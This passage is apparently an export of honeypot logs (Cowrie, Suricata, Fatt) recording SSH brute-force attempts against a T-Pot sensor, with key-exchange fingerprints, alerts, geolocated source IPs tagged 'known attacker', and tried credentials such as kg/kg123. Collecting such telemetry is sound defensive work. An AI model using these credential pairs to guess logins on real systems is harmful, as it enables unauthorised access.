"f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 33562, "dest_port": 22, "timestamp": "2021-09-20T11:57:22.120815", "@timestamp": "2021-09-20T11:57:22.120Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33787	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:57:22.566411+03	2021-09-20 15:00:06.303721+03	{"_id": "0AYRA3wBvYTbRNuEYVHV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.login.failed", "message": "login attempt [kang/123] failed", "session": "6251f375727c", "@version": "1", "password": "123", "username": "kang", "timestamp": "2021-09-20T11:57:22.566411Z", "@timestamp": "2021-09-20T11:57:22.566Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33788	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:23.173685+03	2021-09-20 15:00:06.304722+03	{"_id": "0gYRA3wBvYTbRNuEYVHW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:23.173685Z", "@timestamp": "2021-09-20T11:57:23.173Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33789	203.176.71.44	109.199.241.180	Suricata	2021-09-20 14:57:23.172892+03	2021-09-20 15:00:06.306722+03	{"_id": "0wYRA3wBvYTbRNuEY1EO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "203.176.71.44", "dest_ip": "192.168.20.116", "flow_id": 1798218906223421, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49934, "dest_port": 22, "timestamp": "2021-09-20T11:57:23.172892Z", "@timestamp": "2021-09-20T11:57:23.172Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33790	203.176.71.44	109.199.241.180	Suricata	2021-09-20 14:57:23.173062+03	2021-09-20 15:00:06.307722+03	{"_id": "1AYRA3wBvYTbRNuEY1EO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:57:22.541501+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "203.176.71.44", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1798218906223421, "payload": "AAADzAYUrtfH93C8Nt3YkpbMWOogaQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49934, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:57:23.173062Z", "@timestamp": "2021-09-20T11:57:23.173Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........p.6.....X. i...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
33791	203.176.71.44	109.199.241.180	Fatt	2021-09-20 14:57:23.173062+03	2021-09-20 15:00:06.308723+03	{"_id": "1gYRA3wBvYTbRNuEZFEb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "203.176.71.44", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 49934, "dest_port": 22, "timestamp": "2021-09-20T11:57:23.173062", "@timestamp": "2021-09-20T11:57:23.173Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33792	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:25.153032+03	2021-09-20 15:00:06.310722+03	{"_id": "3wYRA3wBvYTbRNuEaVGl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 203.176.71.44:50037 (192.168.176.2:22) [session: ba2a289582e0]", "session": "ba2a289582e0", "@version": "1", "protocol": "ssh", "src_port": 50037, "dest_port": 22, "timestamp": "2021-09-20T11:57:25.153032Z", "@timestamp": "2021-09-20T11:57:25.153Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33793	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:24.518482+03	2021-09-20 15:00:06.311723+03	{"_id": "4AYRA3wBvYTbRNuEaVGl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.login.success", "message": "login attempt [kg/kg123] succeeded", "session": "d05e0179f43c", "@version": "1", "password": "kg123", "username": "kg", "timestamp": "2021-09-20T11:57:24.518482Z", "@timestamp": "2021-09-20T11:57:24.518Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
33794	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:25.153757+03	2021-09-20 15:00:06.313722+03	{"_id": "4QYRA3wBvYTbRNuEaVGl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "ba2a289582e0", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:57:25.153757Z", "@timestamp": "2021-09-20T11:57:25.153Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33795	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:57:25.24377+03	2021-09-20 15:00:06.314723+03	{"_id": "4gYRA3wBvYTbRNuEalHe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 7745, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 218772600633402, "@version": "1", "in_iface": "enp5s0", "src_port": 60845, "dest_port": 53, "timestamp": "2021-09-20T11:57:25.243770Z", "@timestamp": "2021-09-20T11:57:25.243Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
33796	81.71.14.9	109.199.241.180	Suricata	2021-09-20 14:57:21.340826+03	2021-09-20 15:00:06.315723+03	{"_id": "uAYRA3wBvYTbRNuEW1E7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.14.9", "dest_ip": "192.168.20.116", "flow_id": 1540110698992830, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47726, "dest_port": 22, "timestamp": "2021-09-20T11:57:21.340826Z", "@timestamp": "2021-09-20T11:57:21.340Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33797	81.71.14.9	109.199.241.180	Fatt	2021-09-20 14:57:21.340924+03	2021-09-20 15:00:06.316722+03	{"_id": "uwYRA3wBvYTbRNuEXFFI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.71.14.9", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 47726, "dest_port": 22, "timestamp": "2021-09-20T11:57:21.340924", "@timestamp": "2021-09-20T11:57:21.340Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33798	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:57:21.341549+03	2021-09-20 15:00:06.318722+03	{"_id": "wQYRA3wBvYTbRNuEXVHs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "6251f375727c", "@version": "1", "timestamp": "2021-09-20T11:57:21.341549Z", "@timestamp": "2021-09-20T11:57:21.341Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33799	87.112.251.105	109.199.241.180	Suricata	2021-09-20 14:57:22.120815+03	2021-09-20 15:00:06.319723+03	{"_id": "xgYRA3wBvYTbRNuEX1Ej", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:57:21.800525+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "87.112.251.105", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 90329455867661, "payload": 